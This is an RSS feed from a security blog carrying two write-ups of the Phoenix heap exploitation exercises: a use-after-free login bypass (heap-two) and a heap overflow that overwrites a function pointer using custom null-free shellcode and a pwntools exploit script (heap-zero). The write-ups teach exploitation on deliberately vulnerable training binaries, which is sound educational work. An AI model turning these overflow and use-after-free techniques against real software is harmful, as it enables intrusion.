<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
  <channel>
    <title></title>
    <description>Security in the modern world</description>
    <link>https://coolbyte.eu/</link>
    <atom:link href="https://coolbyte.eu/feed.xml" rel="self" type="application/rss+xml"/>
    <pubDate>Sun, 17 Sep 2023 20:15:11 +0000</pubDate>
    <lastBuildDate>Sun, 17 Sep 2023 20:15:11 +0000</lastBuildDate>
    <generator>Jekyll v3.9.3</generator>
    
      <item>
        <title>Phoenix - Heap exploitation part 2</title>
        <description>&lt;p&gt;In my previous blog post I have discussed challenges ‘heap-zero’ and ‘heap-one’ of &lt;a href=&quot;https://exploit.education/phoenix&quot;&gt;phoenix&lt;/a&gt;, today I will continue with heap exploitation and write about ‘heap-two’.&lt;/p&gt;

&lt;h2 id=&quot;heap-two&quot;&gt;Heap-two&lt;/h2&gt;

&lt;p&gt;In this &lt;a href=&quot;https://exploit.education/phoenix/heap-two/&quot;&gt;challenge&lt;/a&gt; we have a program that is executing an infinite loop, asking for user input.&lt;/p&gt;

&lt;p&gt;In the program there is a structure defined as:&lt;/p&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;auth&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;32&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
  &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;auth&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;};&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;and then two global variables:&lt;/p&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;auth&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;auth&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;service&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The code offers 4 different options for the user:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;auth STRING&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;malloc&lt;/code&gt; is used to allocate memory for a new &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;auth&lt;/code&gt; structure, and then this memory is set to 0. If the STRING is shorter than 31 bytes, this string will be copied to to the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;name&lt;/code&gt; field.&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;reset&lt;/code&gt;, it will &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;free&lt;/code&gt; the memory pointed by the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;auth&lt;/code&gt; variable.&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;service STRING&lt;/code&gt;, will use &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;strdup&lt;/code&gt; to duplicate STRING somewhere in memory (heap memory).&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;login&lt;/code&gt;, if the auth structure is not empty AND the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;auth&lt;/code&gt; field is set, it will print &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;you have logged in already!&lt;/code&gt;, otherwise it will print &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;enter your password&lt;/code&gt;. The objective of the challenge is to get the first message printed.&lt;/li&gt;
&lt;/ol&gt;

&lt;h3 id=&quot;exploit-strategy&quot;&gt;Exploit Strategy&lt;/h3&gt;

&lt;p&gt;We can see the available options as follows:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;auth STRING&lt;/code&gt; = set &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;auth&lt;/code&gt; variable to the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;malloc&lt;/code&gt; value&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;service STRING&lt;/code&gt; = set a string in memory of length &amp;gt; 32&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;reset&lt;/code&gt; = free the memory pointed by &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;auth&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The exploitation will rely on the fact that the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;login&lt;/code&gt; function doesn’t check whether &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;auth&lt;/code&gt; was freed before, will just check that the value pointed by it is not null, and that the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;auth+32&lt;/code&gt; is also set.&lt;/p&gt;

&lt;p&gt;The main problem is that nowhere in the code the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;auth&lt;/code&gt; field of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;auth&lt;/code&gt; structure is set, so we will need to:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Allocate &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;auth&lt;/code&gt;, this will get value X&lt;/li&gt;
  &lt;li&gt;Free &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;auth&lt;/code&gt;. Note that the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;auth&lt;/code&gt; variable will still point at the same location.&lt;/li&gt;
  &lt;li&gt;Use &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;service&lt;/code&gt; to place a string longer than 32 bytes in memory. This will use heap and since the previous chunk has been free’d, it will go at the same value of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;auth&lt;/code&gt;.&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;login&lt;/code&gt;. The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;auth&lt;/code&gt; variable points now to the region where the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;service&lt;/code&gt; string is. As long as the string is not null and the value at offset 32 (corresponding to the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;auth&lt;/code&gt; field of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;auth&lt;/code&gt; struct) is not null, login will succeed.&lt;/li&gt;
&lt;/ol&gt;

&lt;h3 id=&quot;exploit-analysis&quot;&gt;Exploit Analysis&lt;/h3&gt;

&lt;p&gt;This is a UAF vulnerability, where freed memory is used because the pointers are not updated.&lt;/p&gt;

&lt;p&gt;The exploit will work as follows:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;gef➤  run
Starting program: /home/user/heap-two/heap-two 
Welcome to phoenix/heap-two, brought to you by https://exploit.education
[ auth = 0, service = 0 ]
auth A
[ auth = 0x600e40, service = 0 ]
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;first, an auth structure is set, and we can see it points to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x600e40&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;If we have a look at the memory we see:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;gef➤  x /40dwx 0x600e40
0x600e40:	0x00000a41	0x00000000	0x00000000	0x00000000
0x600e50:	0x00000000	0x00000000	0x00000000	0x00000000 &amp;lt;-- end of name
0x600e60:   --&amp;gt; 0x00000000&amp;lt;-int 0x00000000	0x00000000	0x00000000
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;We can see &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0a41&lt;/code&gt; (our A plus a CR) at the beginning of a 32 bytes area, and the byte at offset 32 is set to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Login at this point will fail:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;login
please enter your password
[ auth = 0x600e40, service = 0 ]
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;We can now free the memory and allocate a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;service&lt;/code&gt; string.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;reset
[ auth = 0x600e40, service = 0 ]
service BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
[ auth = 0x600e40, service = 0x600e40 ]
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;We can see that at this point &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;auth&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;service&lt;/code&gt; point to the same location, because the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;auth&lt;/code&gt; pointer has not been updated once the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;free&lt;/code&gt; was executed.&lt;/p&gt;

&lt;p&gt;If we check the memory once again we see:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;gef➤  x /40dwx 0x600e40
0x600e40:	0x42424220	0x42424242	0x42424242	0x42424242
0x600e50:	0x42424242	0x42424242	0x42424242	0x42424242
0x600e60:   --&amp;gt; 0x00000a42&amp;lt;-int 0x00000000	0x00000000	0x00000000
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The byte at offset 32 is now set to value &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0a42&lt;/code&gt;, or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;420a&lt;/code&gt;, considering the endiannes, which is &lt;em&gt;some&lt;/em&gt; value.&lt;/p&gt;

&lt;p&gt;At this point, the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;login&lt;/code&gt; will succeed, as the check&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;if (auth &amp;amp;&amp;amp; auth-&amp;gt;auth)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;will be true:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;login
you have logged in already!
[ auth = 0x600e40, service = 0x600e40 ]
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
</description>
        <pubDate>Sun, 26 Jun 2022 00:00:00 +0000</pubDate>
        <link>https://coolbyte.eu/2022/phoenix-heap-two/</link>
        <guid isPermaLink="true">https://coolbyte.eu/2022/phoenix-heap-two/</guid>
        
        
      </item>
    
      <item>
        <title>Phoenix - Heap exploitation part 1</title>
        <description>&lt;p&gt;I want to provide some writeups for the excellent &lt;a href=&quot;https://exploit.education/phoenix/&quot;&gt;Phoenix&lt;/a&gt; challenges. There are plenty of writeups for these exercises, but you don’t know if you truly understood something until you try to explain it to someone else, so here I am trying to do just that.&lt;/p&gt;

&lt;h2 id=&quot;introduction&quot;&gt;Introduction&lt;/h2&gt;

&lt;p&gt;I am fairly comfortable with Stack and Format string exploitation, so at the moment I will focus my attention to the part where I am most lacking: heap exploitation.&lt;/p&gt;

&lt;p&gt;I will also attempt the challenges for &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;amd64&lt;/code&gt; as this architecture presents few additional challenges that I see many people bypassed in writeups going for the 32-bit versions (mostly, lots of null-bytes in addresses).&lt;/p&gt;

&lt;h2 id=&quot;heap-zero&quot;&gt;Heap-zero&lt;/h2&gt;

&lt;p&gt;The first &lt;a href=&quot;https://exploit.education/phoenix/heap-zero/&quot;&gt;challenge&lt;/a&gt; is very straightforward:&lt;/p&gt;

&lt;p&gt;We have two functions declared, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nowinner&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;winner&lt;/code&gt;. The first is called, and we need to call the second.
The program uses two structures, one consisting of a 64bytes array and the second of a function pointer plus some padding.&lt;/p&gt;

&lt;p&gt;In the main function the following happens:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Two structures (one of each type) are declared&lt;/li&gt;
  &lt;li&gt;A malloc call is used to initialize the data structure&lt;/li&gt;
  &lt;li&gt;A malloc call is used to initialize the second structure&lt;/li&gt;
  &lt;li&gt;The function pointer of the second structure is set to the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nowinner&lt;/code&gt; function&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;strcpy&lt;/code&gt; is used, without boundary check, to copy the command line argument into the first structure&lt;/li&gt;
  &lt;li&gt;The function pointer of the second structure is used to invoke the function&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;exploit-strategy&quot;&gt;Exploit Strategy&lt;/h3&gt;

&lt;p&gt;The exploit idea is simple: we need to overwrite the &lt;em&gt;data&lt;/em&gt; of the second structure, so that the function pointer rather than being the address of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nowinner&lt;/code&gt; will be the address of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;winner&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;To do that, we can leverage the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;strcpy&lt;/code&gt; call, as we control the command line argument.&lt;/p&gt;

&lt;p&gt;First, let’s observe the memory layout:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;b &lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;0x0000000000400b4e
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;We set a breakpoint just before the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;strcpy&lt;/code&gt;, then we run the program with just a few “A”s.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;strcpy@plt (
   $rdi = 0x00007ffff7ef6010 → 0x0000000000000000,
   $rsi = 0x00007fffffffe7a9 → &quot;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&quot;,
   $rdx = 0x00007fffffffe7a9 → &quot;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&quot;,
   $rcx = 0x00007ffff7da5e14 → &amp;lt;mmap64+133&amp;gt; cmp rax, 0xffffffffffffffff
)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;We see that the arguments seem to be more or less what we expected.
The first argument (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;rdi&lt;/code&gt;) is the &lt;em&gt;destination&lt;/em&gt; where the string is going to be copied, while the second argument (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;rsi&lt;/code&gt;) is the &lt;em&gt;source&lt;/em&gt; string that will be copied.&lt;/p&gt;

&lt;p&gt;If we now jump to the next line of code (with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;u&lt;/code&gt;) we reach just after &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;strcpy&lt;/code&gt; returned.&lt;/p&gt;

&lt;p&gt;At the target memory we have what we expected:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;gef➤  x /40dwx 0x7ffff7ef6010
0x7ffff7ef6010:	0x41414141	0x41414141	0x41414141	0x41414141
0x7ffff7ef6020:	0x41414141	0x41414141	0x41414141	0x00414141
0x7ffff7ef6030:	0x00000000	0x00000000	0x00000000	0x00000000
0x7ffff7ef6040:	0x00000000	0x00000000	0x00000000	0x00000000
0x7ffff7ef6050:	0x00000000	0x00000000	0x00000051	0x00000000
0x7ffff7ef6060:	0x00400ace	0x00000000	0x00000000	0x00000000
0x7ffff7ef6070:	0x00000000	0x00000000	0x00000000	0x00000000
0x7ffff7ef6080:	0x00000000	0x00000000	0x00000000	0x00000000
0x7ffff7ef6090:	0x00000000	0x00000000	0x00000000	0x00000000
0x7ffff7ef60a0:	0x00000000	0x00000000	0x000fff61	0x00000000
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;We can see that our As are copied to the address that was in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;rdi&lt;/code&gt;. The data structure was 64 bytes, and we can see that we filled approximately half the buffer. After 64 bytes we have 16 bytes of metadata, and then the next chunk (where the second structure is allocated) begins.&lt;/p&gt;

&lt;p&gt;We can also see a value &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x00400ace&lt;/code&gt; at byte &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x7ffff7ef6060&lt;/code&gt;. This is the address of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nowinner&lt;/code&gt;:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;gef➤  p nowinner
$2 = {&amp;lt;text variable, no debug info&amp;gt;} 0x400ace &amp;lt;nowinner&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;We could just overflow the buffer with 64 + 16 bytes, reach the function pointer and overwrite it with our &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;winner&lt;/code&gt; function. Unfortunately, there is a problem in this case, and the problem is that our &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;winner&lt;/code&gt; function is at address:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;gef➤  p winner
$3 = {&amp;lt;text variable, no debug info&amp;gt;} 0x400abd &amp;lt;winner&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This address contains not only a null byte (in reality 5 null bytes, but in this case as the memory is conveniently set to 0, it is not a problem), but also a byte &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x0a&lt;/code&gt;. This will be replaced by &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;strcpy&lt;/code&gt; with a null byte, and will stop copying the string.&lt;/p&gt;

&lt;p&gt;In fact, we can first attempt this trivial solution to verify that we can control &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;rip&lt;/code&gt;:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;gef➤  run $(python -c &apos;print &quot;A&quot;*80 + &quot;\xbd\x0a\x40&quot;&apos;)
[...]
gef➤  x /40dwx 0x7ffff7ef6010
0x7ffff7ef6010:	0x41414141	0x41414141	0x41414141	0x41414141
0x7ffff7ef6020:	0x41414141	0x41414141	0x41414141	0x41414141
0x7ffff7ef6030:	0x41414141	0x41414141	0x41414141	0x41414141
0x7ffff7ef6040:	0x41414141	0x41414141	0x41414141	0x41414141
0x7ffff7ef6050:	0x41414141	0x41414141	0x41414141	0x41414141
0x7ffff7ef6060:	0x004000bd	0x00000000	0x00000000	0x00000000
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;After the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;strcpy&lt;/code&gt; call, we can verify that the function pointer was correctly overwritten, but the value is &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x004000bd&lt;/code&gt;. In fact, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;strcpy&lt;/code&gt; stopped working after the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0a&lt;/code&gt;, and the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;40&lt;/code&gt; byte is correct just because the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nowinner&lt;/code&gt; function also has value &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;40&lt;/code&gt; in that position.&lt;/p&gt;

&lt;p&gt;Continuing the execution crashes as expected with:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;gef➤  c
Continuing.
data is at 0x7ffff7ef6010, fp is at 0x7ffff7ef6060, will be calling 0x4000bd

Program received signal SIGSEGV, Segmentation fault.
0x00000000004000bd in ?? ()
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;redirecting-control&quot;&gt;Redirecting Control&lt;/h3&gt;

&lt;p&gt;The good news from the previous attempt is that we control &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;rip&lt;/code&gt;, so we can redirect execution where we want.
The binary has no protections whatsoever, so we have multiple choices.&lt;/p&gt;

&lt;p&gt;The way I chose is to write a simple shellcode that will do the following:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;push the address of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;winner&lt;/code&gt; to stack&lt;/li&gt;
  &lt;li&gt;execute &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ret&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ret&lt;/code&gt; instruction will just take the top of the stack and put it in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;rip&lt;/code&gt;. Since we specifically pushed (i.e. placed on top of the stack) the address of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;winner&lt;/code&gt;, this function will be executed.&lt;/p&gt;

&lt;p&gt;However, this shellcode cannot have null (or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0a&lt;/code&gt;) bytes either. To avoid null bytes I have the done the following:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;[SECTION .text]
global _start
_start:
	mov rax, 0xffffffffff511bce ; rax = 0x400abd + ffffffffff111111
        sub rax, 0xffffffffff111111 ; rax = 0xffffffffff511bce - ffffffffff111111 = 0x400abd
        push rax ; push rax to the stack
	ret
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Now all it’s left is to build the shellcode and extract the opcodes:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;user@phoenix-amd64:~/heap-zero$ nasm shellcode.asm -f elf64
user@phoenix-amd64:~/heap-zero$ ld -o shellcode shellcode.o
user@phoenix-amd64:~/heap-zero$ echo &quot;\&quot;$(objdump -d shellcode | grep &apos;[0-9a-f]:&apos; | cut -d$&apos;\t&apos; -f2 | grep -v &apos;file&apos; | tr -d &quot; \n&quot; | sed &apos;s/../\\x&amp;amp;/g&apos;)\&quot;&quot;
&quot;\x48\xc7\xc0\xce\x1b\x51\xff\x48\x2d\x11\x11\x11\xff\x50\xc3
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The final strategy will be the following:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Place the shellcode in the first buffer&lt;/li&gt;
  &lt;li&gt;Add padding until the function pointer to overwrite&lt;/li&gt;
  &lt;li&gt;Overwrite the function pointer with the address of the buffer&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;We know that the first buffer is at &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x7ffff7ef6010&lt;/code&gt;, and we know that to overwrite the function pointer we need 80 bytes, therefore the exploit will be the following:&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kn&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;pwn&lt;/span&gt; &lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;context&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;arch&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&apos;amd64&apos;&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;data&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;  &lt;span class=&quot;mh&quot;&gt;0x7ffff7ef6010&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;shellcode&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x48\xc7\xc0\xce\x1b\x51\xff\x48\x2d\x11\x11\x11\xff\x50\xc3&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;buf&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;shellcode&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;buf&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;A&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;80&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;buf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;buf&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;p64&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;print&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;buf&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Running &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;heap-zero&lt;/code&gt; with the printed buffer result in the level to be completed.&lt;/p&gt;

